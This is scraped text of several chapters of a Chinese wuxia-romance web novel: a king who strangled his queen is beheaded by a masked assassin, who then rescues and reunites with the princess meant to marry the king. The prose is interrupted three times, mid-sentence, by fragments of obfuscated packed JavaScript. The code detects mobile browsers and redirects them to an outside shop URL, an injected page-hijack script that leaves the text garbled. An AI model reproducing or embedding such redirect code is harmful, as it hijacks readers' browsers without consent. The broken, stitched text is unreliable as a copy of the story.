白河城皇宫内,北离国君裴无言进入书房,先是屏退了左右,随后走到书柜旁,按下其上的按钮。随着“咔咔咔”的声响,墙壁慢慢向两边移开,出现一道暗门。他手提一盏灯,从那暗门上去,走进那间尘封许久的密室。 这间密室不大不小,里面的陈设十分简单干净,最引人注意的恐怕就是那口长方形的水晶棺材。密室里面光线很暗,但那副水晶棺材却散发出淡淡的光辉,为所在的那片区域打上了一层薄薄的光晕。 尽管那副棺材出现在这里显得十分突兀,但裴无言的脸上却并未露出一丝一毫的异色,他神情自若地走到棺材边,伸手将棺材盖子掀开,露出底下那具面容秀美,穿着华丽,作妃嫔打扮的尸体。 他垂眸凝视着那具栩栩如生的女尸,橘黄的烛火打在她的脸上,更衬得她的面容娇艳了几分。唯一美中不足之处在于她的脖颈上有一道骇人的青紫掐痕,在莹白肌肤的映衬下显得尤为可怖。 裴无言怔怔地站在棺材边盯着里面的女子,满眼爱恋与痴迷,灼热的目光如蜘蛛网一样层层缠绕在她身上。她虽是具尸体,但身体保存得很好,面容清晰可辨,毫无腐烂的迹象,静静地躺在棺材里,看上去就像是睡着了一般。 盯着女子看了许久,可他就像仍不满足似的,竟将手抚上她的脸颊,细细婆娑,动作十分的轻柔,像是对待稀世珍宝一样。女子的脸颊因为他的动作而微微凹陷下去,但她也做不出反抗的举动来,只能任凭他摆布。 手上的触感柔软细腻,令裴无言爱不释手。只是不知想到了什么,他眼神里的痴迷逐渐转变为厌恶,手上的力度也慢慢加重,仿佛要把女子的骨头捏碎。他眯着眼睛看着自己的第一任王后,一脸阴鸷地说道:“寡人将一颗心都放在你的身上,你为何非要背叛寡人呢?” 可惜回应他的只有一片寂静,毕竟那个女人早就死了,还是被他亲手掐死的。 事情的起源是一名宫女的告密,她指控王后对他不忠,心中另有所爱,证据就是对方时常抚摸着那人亲手送给她的玉佩发呆。他听后勃然大怒,忍不住当即冲到王后面前质问她,还逼迫她当着自己的面将那块玉佩砸碎。 王后将玉佩高高举起却迟迟没有将之砸碎,更让他确信宫女的话。他阴沉着脸让她说出谁是奸夫,王后只默默垂泪不说话。他见她始终不开口,更是气不打一处来。被愤怒冲昏头脑的他伸手死死扼住女人纤细白皙的脖颈,手背上青筋暴起。女人瞳孔骤缩,脸色涨得通红,无力地挣扎了几下,没过多久便咽了气。 双目中的赤红渐渐褪去,他看着再无声息的王后,这才意识到自己刚才干了什么,整个人怔愣在原地。陡然回过神,他抿了抿唇,脸上的脸色十分不好。作为一国之君,他绝对无法容忍一个有了二心的枕边人,所以他可以杀掉她却毫无愧疚感。但这不代表他不会为女人的死感到惋惜,毕竟他是真真切切的喜欢她。 喜欢到在她死后用苗疆秘药让她尸身不腐,喜欢到又另娶了四任王后,每一任都长得和她有几分相似。她们因此被他宠爱,也因此被他憎恨,以至于什么都没做就惹他厌恶,最后被他活生生折磨死。而这一切只是因为他不想再看到那张脸,不想再回忆起那个人。 不过话说回来,最像那个女人的,还是他年前造访大襄时在御花园见到的那位小公主。看到她的第一眼,他不禁微微有些失神,差点以为那个让自己又爱又恨的女人死而复生了。自那一面之后,他就动了娶她为后的念头,毕竟他还是第一次见到和他的王后长得有九分像的女人,光凭这一点,她就该是他的。 他打定主意后便向大襄皇帝提亲,那人虽不情愿,却也不敢拒绝,只能同意了这门亲事。虽然和亲途中遇到些波折,小公主意外失踪,但不久前他得到消息,对方已经被找到,现在正在向王都进发,不久后便能同他成婚,也算是好事多磨了。 至于娶了她之后,他会如何对待她……裴无言想到此处,脸上浮现了一抹阴森森的笑意,他对着永远陷入沉睡的王后说道:“忘了告诉你了,寡人又新娶了一位王后,她是我见过的女子中长得最像你的那个。寡人该拿她怎么办才好……也许我会像之前一样,先对她柔情蜜意一番,等她彻底爱上我之后再慢慢折磨她。想必到那时,她一定会露出一副不敢置信的崩溃模样吧?” 他想象着那副画面,神情变得越来越愉悦,笑了几声后又继续说道:“就算寡人最后还是把她杀了,那位小公主要怪也只能怪她自己,谁叫她长得和你这么像,让我爱到不惜一切代价得到她,又恨到想要亲手摧毁她。” 裴无言一个劲儿地自言自语,以至于身后何时来了一名不速之客,他都没发现,任凭对方冷眼旁观着刚才发生的一切。十分突兀的,一道仿若寒冰的声音在他身后响起,打断他的自说自话:“很可惜,你不会有这个机会了。” 这道声音里透着刺骨的寒意,听得贵为一国之君的裴无言都禁不住打了个寒颤。他缓慢而僵硬地转过身去,见一绯衣少年正长身玉立在自己跟前,对方脸上戴着面具,看不清面容,但周身的肃杀之气却毫不遮掩地释放出来。 此处是王宫,守卫森严固若金汤,而此人却能神不知鬼不觉地闯进来,可见其绝非等闲之辈,再加上他对自己毫不掩饰的敌意……裴无言的脑中忽然闪现出一个念头——他会是前来取自己性命的刺客吗? 眼见少年离他越来越近,他无比清晰地意识到自己性命垂危,但他久居上位,多少大风大浪都见过了,这个时候反而冷静了下来,大脑飞速运转,想着怎么才能保命。 他盯着少年上上下下打量了一番,见对方一身绯衣,面戴狐狸面具,手持墨刀腰佩银箫,混沌的脑海中仿佛有一道闪电划过。想到这里,他目光闪烁了一下,开口 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薛摇光闻言,只是轻轻摇了摇头:“我不是为了钱来杀你的。”眼见对方倏地怔愣住了,他眉眼微动,慢条斯理地吐出一句话:“在你害死那位小公主之前,我会先杀掉你。” 裴无言目瞪口呆地听完少年的话,心底有些不可思议。一个大胆的想法突然涌进脑海,他瞬间明悟过来,想也没想便脱口而出:“你你你该不会是喜欢上她了吧?” 回应他的只有一片沉默。但少年既然没有否认,他就当对方承认了。他的脑袋里一瞬间转过无数个念头,谨慎地斟酌着词句:“没想到传说中冷血无情的薛摇光也会喜欢上谁,但只可惜你们教主不会允许你杀了我的,你犯不着为了一个女人违抗他的命令。孰轻孰重,你应当知晓。” 少年沉默着不说话,似乎陷入了为难的境地,裴无言以为他态度有所松动,再接再厉地说道:“你喜欢那位小公主,无非看中的就是年轻漂亮,世间绝色千千万,你若想要,我可以挑选十名比她还年轻漂亮的给你。” 他顿了顿又接着说道:“她说白了就是那种没有任何价值,只能靠别人养活的金丝雀,你是个聪明人,权衡利弊之后应当知道该如何取舍才对。” 少年并未对他这番话作出回应,裴无言也没有催促,静静站在一边耐心等待。他表面上看起来镇定自若,其实手心中早已沁出一层细细密密的汗,他知道自己的生死取决于对方接下来的态度。 不知过了多久,少年慢慢转过身子,向外走去,他见状松了一口气,只觉自己这条命总算是保住了。 只是下一刻,一道冷冽刀光闪过,他连躲避的时间都没有,人头便已悄然落地,小小的密室中又新添了一具无头男尸。 少年神色厌恶地一脚踢开了骨碌碌滚到他脚边的头,之后收刀入腕。就在转身离开的瞬间,他喃喃自语道:“对啊,她……什么价值也没有。”丢下这句话之后,他不再停留,一个闪身便已经消失在此地。 62. 搭救 陆怀袖所乘坐的马车历经五天四夜,终于抵达目的地白河城的郊外。又往前行驶了几里路,他们一行人才停下了车马,找了一间客栈稍作歇息,准备今晚在这里歇上一宿,明早入城。 月明星稀,正是睡觉的好时机,可陆怀袖却并未入睡,只是坐在桌边双手托腮两眼呆滞。她想着明天即将发生的事情,只觉得内心无比惆怅,甚至产生了临阵脱逃的念头,可当她刚冒出这个念头的时候,背负在身上的枷锁又提醒着她:这是你身为大襄公主无法逃避的使命。 很想逃,却逃不掉的和亲之路,让她思绪百转千回,了无睡意。 就在陆怀袖思绪百转千回间,一阵骚乱声突然从外面传来,紧接着一阵急骤的金铁交鸣之声响起,竟是有人在外头交战起来。这阵不寻常的异动彻底打断了她的愁绪,将她拉回到现实中来,暂时忘却了内心的纠结不安。 金铁相击之声不绝于耳,她只觉坐立不安,脑海里不可抑制地浮现出一个念头:该不是出什么岔子了吧? 仿佛是为了印证她的猜想,周围骚乱声渐渐平息,随后是一阵山雨欲来风满楼的死寂。没过多久,房门被人从外推开,一个身披甲胄手握兵刃的男子闯了进来,目光如鹰隼般打量着她,完全没有男女大防的意识。 进来的人并未征得她同意,显见的无礼之举,但更让她感到不悦的是男人落在她身上的目光,他明明是在看她,却又像是在透过她看另一个人。她按捺下心头的不满,不动声色地打量着对面的人,见此人大约三十多岁,身材高大眉目英挺,又身披甲胄手握兵刃,想来是名军中将士。 她将对方打量一番后,用尽量平和的声音问道:“敢问阁下,深夜造访,有何贵干?”她一边说一边暗想:那几名隐在暗中保护她的斩风帮弟子此时并未出现,定是遭了此人毒手。 就在她神思不属之际,男人像是终于回过神,感慨似的说道:“你和她长得真像,怪不得那个昏君会一眼相中你,执意娶你为后。” 他这番话说得没头没脑,陆怀袖顿时陷入云里雾里中,那人瞧着她一头雾水的模样,好心地为她答疑解惑:“你还不明白吗,裴无言之所以会提出这门亲事,只是因为你长得像他的第一任皇后,而在你之前的四个女人,也是因为这个原因被他看上的。” 陆怀袖听罢,脸上露出显而易见的震惊,一时无法消化这个消息——原来那人执意要娶她为后,竟是把她当作了替身。过了好一会,她才从惊愕中回过神来,抿抿唇问道:“他为何娶我,你又如何知晓?再说了,就算你说的都是真的,这一切与我又有什么关系?” 闻听此言,男人眉目一凛,冷然道:“我当然知道,因为那个昏君的第一任皇后就是从我手中抢过去的。我们两情相悦,早已经私定终生,最后却被她的爹娘棒打鸳鸯强行拆散,将她许配给了裴无言。当然这也怪不得他们,毕竟当时的我只是一介马奴,而他却是高高在上的王爷。即使是现在,我当上了大将军,他还是压我一头的皇帝。” 无视掉少女有些复杂的眼神,他自顾自地继续讲了下去,语气冷得像是万年不化的寒冰:“可是那个昏君抱得美人归后却并不珍惜,最后甚至将她残忍杀害,不可原谅,实在不可原谅……”说到这里,他愤怒至极,捏紧拳头,连手背上也暴起了青筋。 陆怀袖默默听完,虽然对他痛失所爱感到惋惜,但还是不明白这和她又有什么关系。她看着正怒火中烧的男人,谨慎斟酌着言辞,正欲开口,却听见他冷声说道:“他杀了我心爱的姑娘,我也要用同样的方式报复他。为了达到这个目的,殿下今日非死不可。” 对方终于图穷匕见,少女这才意识到自己的处境十分危险,那些暗中保护她的弟子早已惨遭毒手,如今她是泥菩萨过江自身难保。在这生死关头,她心里想着能拖一刻是一刻,便扬起下巴,抬起眸子,直直撞上他的视线,强装镇定地说道:“我好歹也是板上钉钉的未来皇后,你杀了我,就不怕陛下治你的罪吗?” 男人听罢却似乎早就预料到她会说出这么一番话来,嘴角勾起一抹轻蔑的弧度,仿佛是嘲笑着她的天真。过得片刻,他轻呵一声,似毒蛇吐信般自信地说道:“殿下大可放心,你死在我手上这件事不会有任何人知道,毕竟所有知情人士都已经见阎王去了。而且我会在杀掉你之后放上一场大火,再派人放出消息,这样全天下人都会以为你是因为客栈失火意外殒身的。” 陆怀袖闻言,那副镇定的面容再也维持不住,瞳孔几乎缩成针尖,即将身死的恐惧感无孔不入,迅速涌进她身体的每个角落。 将对方惊惧不已的神色收入眼底,男人像是被取悦了一般,轻舔着嘴唇,脸上露出一个狰狞的笑容:“殿下以后到了黄泉之下也不要怪我,你要怪就只能怪自己命不好,怎么摊上了这么一桩婚事。”他说着拔剑出鞘,锋利的剑刃闪着森森寒光,紧接着一步一步地朝陆怀袖逼近,毫不掩饰自己身上的杀意。 陆怀袖明明怕得要死,可不知怎么回事,身子就像被定住般动弹不得,脚下根本不能移动分毫,只能眼睁睁地看着那个对她满怀敌意的男人离她越来越近,最后在她面前站定,剑尖抵在她咽喉之上,只需稍稍往前一送,便可立时了结了她的性命。 眼看着就要命丧于此,她下意识地闭上了眼睛,但是十分奇异的是,这一刻她对死亡的恐惧忽然消失了,取而代之的是释然与解脱。此时她的心中只有一个念头——其实就此死去的话也没什么不好,起码不用面对自己不愿面对的事情了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13377255|139963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 可预想中的剧烈疼痛始终没有到来,半晌过后,陆怀袖有些惊疑不定地睁开眼,发现不久前还想杀掉她的男人已经倒在了血泊中,而她朝思暮想的少年就这样猝不及防的出现在她的眼前。 她愣愣地看着他,几乎都要以为自己是在做梦,气氛一时变得凝滞起来,周遭的景物慢慢淡去,她的眼里心里满满的都只有一个人。 也许过了很久,也许只是短短一瞬,她像是不可置信似的重新闭上眼睛,再度睁开时却发现对方依旧还在,这才确信眼前的人并非幻觉。 她有千言万语想要和他说,然而还没等她开口,却见对方转过身子,一手拿起烛台,一把火点了屋舍,这一整套动作如行云流水般流畅,熟练得好像做过无数次一样。 陆怀袖一脸惊诧地看着这一切,虽然不明白为什么,却也并未阻止,她想对方这么做一定有他的道理。就这样,她看着大火瞬间从屋中燃起,很快就以燎原之势蔓延到各个角落。 一时之间浓烟滚滚,红光灼灼,少年顶着扑面而来的热浪,上前一步拉住她的手腕,带着她走出屋子,离开客栈。而她就像一只温顺的绵羊似的任由他牵着,没有生出一丝一毫反抗的念头,仿佛本该如此,理应如此。 走出客栈后,少年根本没有向她解释什么的意思,一言不发地施展出轻功,带着她一路狂奔。陆怀袖只觉耳边风声呼啸而过,几乎是被他当货物一样提着前行,根本不用多费力气走路。 清新的草木香气盈满肺腑,此时此刻的陆怀袖只觉背负在身上的枷锁被奇异的卸掉,整个人都从“和亲公主”的身份里抽离了出来,像刚从笼中飞出的小鸟一样,自由地翱翔在天空。 她侧眸看着拉着她狂奔的少年,感受着手上传来的温度,只觉一颗心砰砰直跳,一种名为喜悦的情绪充斥着她的四肢百骸,让她忽然生出一种醺醺然欲醉的感觉。 这个家伙每次都在危急关头出现护住她,这一次也不例外,三番四次下来,叫她如何不倾心? 耳边风声不知何时止息,两人在一颗枝繁叶茂的花树下停住脚步,少年干脆利落毫不留恋地松开了手,主动与她拉开距离,在她前面三步之遥的地方站定。 陆怀袖见他往后退了三步,心中那股刚刚升腾起的欢喜忽然消失,取而代之的是一阵说不出来的失落。意识到自己的情绪太过外露,她努力压下翻涌的思绪,故作平静地看着少年,正想开口感谢他的救命之恩,却听他忽然出声道:“从此以后,你就是自由之身了。” 她闻言愣了一会,等她反应过来,唇角已经高高地扬起,任谁都能看出她此刻的好心情。只是她还没高兴多久,少年那淡色的唇里又吐出冰冷无情的话语,让她顿时如坠冰窖:“我们也该分开了。” 63. 再别 两人刚见上面,还没说上几句话,他便提出要分开,此时的陆怀袖心中说不上来的滋味,她深锁着眉头,盯着眼前的少年,语气中罕见的带上了几分咄咄逼人:“你就这么不想见我吗?刚见到不久就迫不及待将我撇下?” 少女的眼里带着显而易见的责备,被她这般注视着,薛矜的脸上却依旧平淡看不出任何情绪,他再一次不动声色地拉开了和她之间的距离,薄薄的嘴唇一张一合,吐出无比冷漠的话语:“殿下数日前助我脱困,而我方才救你一命,咱俩两清了,谁也不欠谁了,今后也就没有必要再见面了。” 他这话仿佛一盆冷水,对着她当头浇下,陆怀袖被浇了一个透心凉,但她强行按捺住内心的悲伤,抬头死死地盯住他,声音无法控制地拔高:“我不想让你走,你不准走。” 娇娇软软的小公主突然变得强硬起来,薛矜的眼神有些惊讶,不过片刻之后就恢复了原来的冷冽,缓声说道:“我早就告诉过殿下,我们不是一条道上的人,天下好男儿千千万,您何必执着于我?” 陆怀袖闻听此言,秀目圆睁,张口便欲驳斥,对方却像是提前知道她要说什么似的,抢先一步说道:“我之所以会救您只是因为您先前救了我,我虽是个无恶不作的大魔头,却也懂得知恩图报的道理,不会放任自己的救命恩人陷入危险。至于别种感情,那是一点也没有,还请殿下千万不要多想,误以为我对您有意。” 他的声音像丝绸般顺滑,说出的话却仿佛夹带有一柄利刃,狠狠插入少女心脏。她原本抱有的那一丝微弱希望,又被他亲手掐灭了。此刻的陆怀袖鼻尖突然一阵酸涩,连忙仰起头,不让眼泪掉下来。 薛矜将她的神色尽收眼底,心中暗自叹了一口气,面上却还是方才那副冷酷无情的样子,他不带任何温度地甩下一句话:“话已至此,多说无益,我二人就此别过,还望殿下保重,照顾好自己。” 他说完便欲离开,却在转身的那一瞬间,感觉到自己袖子被扯住了。身子微微僵硬了一瞬,他扭过头去,只见拽着他衣袖的少女执拗地看着他,虽然没有说话,但眼神里却明明白白写着“不让他走”这四个字。 两人之间的气氛瞬间陷入凝滞,四周安静得只剩下彼此的呼吸声。 在少女恳切的目光下,薛矜有一瞬间恍神,但最后的最后,他还是狠下心来,毅然决然地从对方手里拽下袖子,之后便扬长而去,只留给她一道挺拔清瘦的背影。 陆怀袖看着他的背影慢慢消失在自己的眼前,却没有出声挽留,只因对方去意已决,她挽留也没用,只是浪费口舌而已。直到少年的背影消失成一个黑点,她这才将视线收了回来,怅然若失地望着空落落的手。 那里还残留着少年衣袖上的温度,真切地提醒着她刚才发生了什么——那个混蛋又一次将她抛下,走得毫无留恋一点也不拖泥带水,就如同之前一般绝情。 她将手指握紧又松开,来回几次,脸上不自觉地泛起一抹自嘲的笑容。她居然会对那个家伙产生一些不切实际的幻想,他原本就是一个无心之人,不被任何人抓住,不会为任何人停留,这其中自然也包括了她。 屋漏偏逢连夜雨,就在她沉浸在悲伤中无法自拔时,天空开始毫无预兆地下起雨来,起初是淅淅沥沥的小雨,没过多久就成了瓢泼大雨,雨势大到仿佛要冲洗掉这世上的一切。 陆怀袖瑟缩着躲在花树下,虽被繁茂的枝叶挡去了大半雨水,但因为雨实在太大,身上也不免被淋湿了些,湿答答的衣服紧紧贴合在身上,带来一阵让人难受的粘腻。 此时的她仿佛身处一座与世隔绝的孤岛,世上只剩下她一个人,无依无靠。无助感从四面八方向她侵袭而来,让她忍不住蹲下身子抱紧双臂,把头埋进膝盖里,企图能驱赶渗透进心底的那股寒意。 把自己像只鸵鸟一样埋进膝盖里的少女在心里自嘲道:“陆怀袖就是个被美色冲昏了头脑的大傻瓜。” 在心里狠狠唾弃了自己一番,陆话袖突然感到头顶的雨停了,可雨声却并没有减弱,她有些纳闷地抬起头来,竟然看到了分别多日的水玲珑。蓝衣少女俏立在她跟前,右手撑着一把伞,那把伞此时正罩在她的头上,将泛着寒意的雨水隔绝。 陆怀袖乍见故人,神色一时有些恍惚,她看向原本不可能出现在这里的人,梦呓一般地低语道:“水姐姐……” 水玲珑垂眸看去,只见少女浑身湿透,面色惨白,看起来可怜兮兮,惹人心疼。她见状心里一抽,赶紧把对方拉到伞下,替她抹去脸上的雨水,随后不发一言地牵着她往前走,几乎将整把伞都倾向她,自己的肩膀被淋湿了大半。 陆怀袖一路上都不曾开口说话,只任凭对方牵着自己走,并没有问她为什么会出现在这里。她实在是太累了,不只是身体累,更是心累,根本没有力气再去问些什么。 七拐八拐,终于到了目的地,水玲珑将好友领进她之前暂居过的屋子,还特别贴心地给她准备了换洗衣物,让她赶紧把湿衣服换下来,免得着凉。做完这一切后,她又亲自下厨,给淋过一场冷雨的好友熬了碗姜汤御寒。 不多时,一碗姜汤见了底,她放下空碗,将视线投向全程默不作声的少女,对方正愣愣地坐在床榻上,眼神空洞得像是一具失了魂的木偶。她见状暗自叹息,想帮其排忧解难,却也知道解铃还须系铃人,自己根本帮不上什么忙。 很快水玲珑就拿着空碗离开了,屋中只剩下陆怀袖一个人,她终于不用再强装无恙,连衣服都没脱就直接躺倒在床上。她淋了那场冷雨,还是不可避免地着凉了,此时的她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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陆怀袖一边心满意足地看着乖得离谱的少年,一边在心中暗自感慨,只有在梦里,这个讨厌的家伙才会要他做什么他都乖巧顺从,懂事听话。她忍不住发出一声感叹:“真好啊,只有在梦里你才不会甩开我的手,真希望永远也不要醒来……” 少年听见她梦呓般的呢喃,脸上露出了极其复杂的表情,此刻脑袋昏昏沉沉根本无法思考的少女一点也看不懂。 陆怀袖固执地拉着他不放手,少年也没有甩开她的意思,两人就这样保持着这个姿势对视许久,就像那次在客栈中她意外梦游一样。贪婪地吸取着他身上香甜的气息,她很快就陷入了梦乡。 薛矜若有所思地看着少女嘴角翘起的弧度,也不知她是梦见了什么好事,居然这般开心。听着她的呼吸渐渐变得绵长,他这才伸手去一根根掰开她的手指,随后掀起眼帘深深望了她一眼,目光前所未有的专注,仿佛要将她的眉眼永远铭刻在心里。 不知盯着她看了多久,他终于将视线从她身上挪开,心中涌上千言万语,最后只是轻声说了句:“好好保重。”丢下这句话后,他长袖一拂,顷刻间就不见了踪影。 外面大雨如注,月光透过窗棂撒进屋子里,照在睡梦中的陆怀袖脸上,此时的她面色红润嘴角上扬,显然睡得十分香甜。一切似乎都没有变,一切似乎都又变了。 64. 认输 第二天醒来时,陆怀袖的高烧已经退去,整个人清醒了些,脑子不再昏昏沉沉的。只是当她从睡梦中清醒时,却发现心尖上的人突然不见了,虽然知道不过是一场梦,但仍免不了有些怅然若失。 简单洗漱一番之后,她便前去大厅用早膳。刚刚到达大厅,水玲珑已摆好了早膳,见她到来,便招呼她坐下,和自己共进早膳。 陆怀袖见状,强打起精神摆出笑颜,对水玲珑道了一声多谢之后便和她一起进早膳。只是在用餐过程中,陆怀袖对她不像以往那般说说笑笑,出奇地沉默。 水玲珑看着她那副郁郁寡欢的模样,嘴上虽然不说,心里却跟明镜似的。为了让好友重新振作起来,她提议带她出去逛逛换换心情。陆怀袖不忍拒绝她的好意,即使对此兴致缺缺,但最后还是点头答应了。 吃完早饭天色尚早,街上却早已热闹起来了。两人一路东看西看,不知不觉已经逛了很久了。等到她俩逛街逛到走不动时,已经是正午时分了,水玲珑抬头望了望头顶的日头,估摸着逛得差不多了,便带着陆怀袖就近选了一家酒楼,祭祭五脏庙。 此时正值饭点,酒楼内人声鼎沸,觥筹交错,陆水二女好不容易才找到位子坐下,点了几样两人爱吃的菜后,便一口一口地喝着茶,有意无意地听着斜对角那一桌人的交谈之声。 只听一个偏瘦的长脸汉子慢慢说道:“你们可曾听说,那位勇武盖世威震三国的北离国君裴无言已经成为了一具尸体,而且还是一具死状惨烈,被人砍去了头颅的尸体?” 一听到这个消息,陆怀袖心中顿时掀起了惊涛骇浪,她怎么也没想到,自己的和亲对象居然就这么死了,还死得那么惨。她感到脑中一片空白,又怕错过重要信息,还是僵硬地坐在那里继续听下去:“与此同时,他迎娶的新娘,北离的新后,居然因为客栈失火香消玉殒了,帝后二人在同一天死去,你们说奇怪不奇怪?” 随者听了,皆点头附和了起来,这原本毫无关联的两件事,居然巧合地凑在了一处,真的很难不让人多想。围绕着这个话题,几个人七嘴八舌地议论起来,于是事情越传越玄乎,凶手的真实身份也越来越扑朔迷离。 此时被众人议论,陆怀袖却恍若未闻,仍是一口一口地喝着茶,脑子里乱成一团乱麻。她活得好好的,和亲对象却死了,而且这两件事恰好就发生在同一天,天底下哪里有这样的巧合?思及此,一个大胆的猜测浮现在她的心头,让她宝石般动人的眼眸里闪烁着异样的神采——裴无言不会是被那个家伙杀掉的吧?他这样做,又是为了什么? 不知想到了什么,她的视线牢牢紧盯着坐在自己对面的蓝衣少女,用近乎祈求的声音,没头没脑地问了一句:“水姐姐,你能告诉我昨晚你为何会出现在那儿吗?” 这么前不着村后不着店的一句话,水玲珑却顷刻间懂了她的意思。她本想打个哈哈将此事混过去,奈何陆怀袖是一副打破砂锅问到底的模样,丝毫糊弄不得,只得在心中暗叹一声后无奈开口道:“自然是有人提前给我打好了招呼。” 此言一出,陆怀袖的眼神顿时明亮了起来,一颗心狂跳不已,像是要跃出胸腔一样。她咽了咽口水,极力按捺住内心的激动,小心翼翼地问道:“那人是谁?” 水玲珑迎着她期盼的目光,犹豫再三,最终还是说出了口:“就是你想的那样。”见小姑娘大大的眼睛中闪着光,她的心莫名地软了软,随后果断出卖了某薛姓友人:“就是因为那个家伙不准我告诉你,所以我才藏着掖着没和你说。” 陆怀袖心中早有猜测,如今得到证实,她顿时浑身一个激灵,巨大的喜悦随即袭来,在她脑海中如烟花般炸开。她正沉浸在自己的世界里,水玲珑却在这时故意压低了声线说:“而且我知道,那个家伙并未离开,昨晚还被我看到从你屋里出来了。” 她说完瞥了好友一眼,语气里颇有些调侃意味。少女闻言先是一愣,随即面上一红,心里像是打翻了蜜罐子一样,甜得她仿佛身在云端般:“原来昨天晚上发生的一切不是梦。” 水玲珑将她脸上的神色尽收眼底,打趣似的说道:“我猜他此刻并未走远,也许就在附近某个角落暗中观察你,以防你想不开要寻死觅活的。” 陆怀袖闻听此言,唇角不自觉地向上扬起,与此同时,她在心中暗暗下了一个决定,一个能让自己反败为胜的决定。 * 回到所住宅邸之后,陆怀袖就把自己关在了屋子里。此时的她端坐在书案前,细细思量,提笔写下一封遗书。等到天色已晚,她留下那封遗书,之后连门都没关就出了门。 她匆匆走在夜色之中,就这样一直走到护城河边。她到达后四下环顾了一圈,确认周围没人后才将视线转移到河面,在静谧夜色的映衬下,黑魆魆的水里仿佛藏着魑魅魍魉,叫人心里无端地害怕起来。 陆怀袖在心里默默给自己打气,随后硬挤出几点眼泪,装出一副伤心欲绝的模样,低下头,用着哭腔说道:“薛念之,你真的是个混蛋呢,救我于水火的人是你,弃我如敝履的人还是你……” 说到这里,她故意停顿了片刻,似乎在等着什么,过了一会才又继续道:“既然如此,你还不如让我死了算了。我陆怀袖今日就投河自尽,再也不会碍你的眼。”说完此话,她咬了咬牙,将心一横眼一闭,准备纵身跳进河中。然而还没等到她行动起来,一只强有力的胳膊突然从旁边伸过来,一下子揽住了她的腰,将她向后拖去。 陆怀袖被人一个劲儿地往后拖去,非但没有害怕,反而非常高兴。身后那人见她情绪稳定下来,不再寻死觅活,悄悄放开搂着她腰的手。 在他松手之后,她猛地转过身去,果不其然见到了那个人。此时的他一脸不悦地看着自己,脸色阴沉得仿佛要滴出墨来,全然没有往日那副冷淡又慵懒的样子。 来人除了薛矜还能是谁? 他那双总是目空一切的眼睛暗流涌动,直直地看着少女,语气中带了几分恨铁不成钢:“没出息,真是没出息!为了所谓的情情爱爱要死要活,根本就划不来!” 陆怀袖被他抢白一顿,脸上反而笑开了花。她向少年的方向不动声色地挪了半步,拉近了两人之间的距离,随后得意地望着他道:“我不这样做,你哪里肯来见我?” 薛矜见她眉眼弯弯,笑得像只得逞的小狐狸,心中暗叫不好,自己这回可算是摊上大麻烦了。他盯着眼前这个大麻烦看了许久,最后一言不发地转身就走,陆怀袖却像是早就预料到一样,急忙冲上去,张开双臂拦在他身前,不让他继续前进。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13409949|139963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他见少女挺直了腰杆拦在自己身前,一点也没有退让的意思,故作一副不耐烦的样子,冷声道:“劝你最好别挡我的路,我狠起来六亲不认。”他说着作势一掌拍向她,大有她要是敢拦着不放,他就直接一掌将她拍死的架势。 只是他这一番威胁并没有吓退陆怀袖,她反而凑得更近,直接伸手拉住他的手腕,牵引着他的手按在自己的心脏上,简直是把命门都交给了他。她目光灼灼地盯着少年,虽未说话,但脸上的神色明明白白写着:想走,先从我的尸体上踏过去。 薛矜低垂着眉眼,看着自己按在她心脏上的手,眼中酝酿着说不清道不明的情绪。两人之间的气氛忽然变得凝滞,谁也没开口说话,好像先开口的那个人就输了一样。 时间一点一点地缓慢流逝,就在陆怀袖以为两人会一动不动地维持着这个姿势直至天明时,让她瞪大双眼的一幕发生了——那只按在她心脏上的手并未夺去她的性命,反而把她搂在怀里。 少年身上香甜的气息缭绕在她鼻尖,陆怀袖只觉浑身酥软,把头埋在他怀里动也不想动,脸红得像煮熟了的虾子。看上去清清瘦瘦的少年,肩膀居然出奇的宽,被他搂在怀里,她感到非常有安全感。 就在她沉浸在这个拥抱里时,少年埋首在她的肩窝处,说话声音闷闷的:“我认输。” 陆怀袖闻言先是一愣,然后反应过来,嗓音中夹杂着一丝愉悦的笑意:“你的意思是,承认自己喜欢上我了对吗。”她这话虽是疑问句,用的却是肯定的语气,因为有了之前的种种,她猜测这个家伙或许对自己有意,但直到他向自己认输,她才确信了这一点。 对于她的话,薛矜没有否认,也没有承认,又抱了她一会才不舍地松开手。两人你望我我望你,仿佛能对视到山崩地裂海枯石烂。一阵静默过后,薛矜终于开了口,可是他一开口就给她浇了一盆冷水:“你会后悔的。” 陆怀袖张口便欲驳斥,对方却像是料到她要说什么似的,将食指贴在了她的唇上,飞快地打断了她。此刻的他又恢复了之前那副懒散的模样,看着眼前不知所措的少女,打趣似的说道:“先别说这个了,现在这么晚了,我们若是再这么耽搁下去,只怕又要露宿野外了。” 他说完自然而然地牵住了小姑娘的手,带着她往先前所居的宅邸走去。 陆怀袖看着两人交握的手怔了怔,对方手掌心传来的温度烫得灼人,让她脸红得跟个什么似的。心脏不可自抑地狂跳起来,她心说这还是对方第一次牵她的手,而非手腕。 